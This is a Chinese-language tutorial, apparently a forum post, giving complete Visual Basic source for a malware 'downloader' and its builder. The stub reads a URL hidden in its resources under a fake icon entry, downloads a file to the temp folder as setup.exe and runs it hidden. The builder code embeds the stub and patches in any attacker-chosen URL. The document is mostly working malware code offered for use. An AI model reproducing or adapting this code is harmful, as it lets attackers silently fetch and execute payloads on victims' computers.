VB 编写下载者 把下载信息存在资源文件里。。

以下就是服务端

Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _ '取得temp目录的API

(ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long'下在文件的API

Public Sub Main()

Dim sourceUrl As String

Dim chen() As Byte

Dim targetFile As String

Dim tempPath As String

Dim len5 As Long

Dim i As Long

chen = LoadResData("HTTP", "图标") '取出数据

For i = 0 To 184 '还原为字符

If chen(i) <> 0 And chen(i) <> 32 Then

sourceUrl = sourceUrl + Chr(chen(i))

End If

Next

tempPath = String(255, 0)

len5 = GetTempPath(256, tempPath)

tempPath = Left(tempPath, len5)

targetFile = tempPath + "setup.exe" ' 保存路径

hfile = URLDownloadToFile(0&, sourceUrl, targetFile, 0&, 0&)

If hfile = 0 Then

Shell targetFile, vbHide

End If

End Sub

保存为BAS 文件就可以了

控制台文件需要对资源文件进行读写

用到以下几个API

Public Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long

Public Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

这几个可以把它放到一个bas文件中

以下就是控制台的代码

Private Sub Command1_Click()

Dim bwenjian As Long

Dim wenjian As Long

Dim ewenjian As Long

Dim APP2() As Byte

Dim astr As String * 200

APP2 = LoadResData("EXE", "EXEFILE")

If Dir(Text1.Text) <> "" Then

MsgBox Text1.Text + "已存在"

Exit Sub

End If

Open Text1.Text For Binary As #1

Put #1, , APP2()

Close #1

astr = Left$(Text2.Text, 200)

bwenjian = BeginUpdateResource(Text1.Text, False)' 开始一个添加资源的过程

wenjian = UpdateResource(bwenjian, "图标", "HTTP", 2052, ByVal astr, 200) ' 添加资源

ewenjian = EndUpdateResource(bwenjian, False) ' 结束添加资源过程

End Sub

Private Sub Form_Load()

Text1.Text = App.Path & "\XZ.Exe" ' 默认的服务端文件名

End Sub

当然你要把 服务端的EXE导入里面存为资源